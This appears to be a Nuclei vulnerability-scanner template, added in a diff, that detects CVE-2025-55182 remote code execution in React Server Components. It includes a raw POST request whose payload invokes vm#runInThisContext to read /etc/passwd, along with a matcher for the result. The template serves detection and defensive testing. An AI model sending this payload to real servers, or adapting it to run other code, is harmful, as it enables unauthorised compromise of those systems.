CVE-2025-55182 - React Server Components - Remote Code Execution

http/cves/2025/CVE-2025-55182.yaml

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+id: CVE-2025-55182
+
+info:
+  name: React Server Components - Remote Code Execution
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
+  impact: |
+    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest version that fixes the unsafe deserialization issue.
+  reference:
+    - https://github.com/fatguru/CVE-2025-55182-scanner
+    - https://www.facebook.com/security/advisories/cve-2025-55182
+    - http://www.openwall.com/lists/oss-security/2025/12/03/4
+    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.component:"Next.js"
+  tags: cve,cve2025,react,rce,detect
+
+variables:
+  boundary: "{{to_lower(rand_base(9))}}"
+
+http:
+  - raw:
+      - |
+        POST /formaction HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----{{boundary}}
+        Accept: text/x-component
+
+        ------{{boundary}}
+        Content-Disposition: form-data; name="$ACTION_REF_0"
+
+
+        ------{{boundary}}
+        Content-Disposition: form-data; name="$ACTION_0:0"
+
+        {"id": "vm#runInThisContext", "bound": ["process.mainModule.require("fs").readFileSync("/etc/passwd", "utf8")"]}
+        ------{{boundary}}
+
+    matchers:
+      - type: regex
+        part: body
+        name: lfi
+        regex:
+          - "root:.*:0:0:"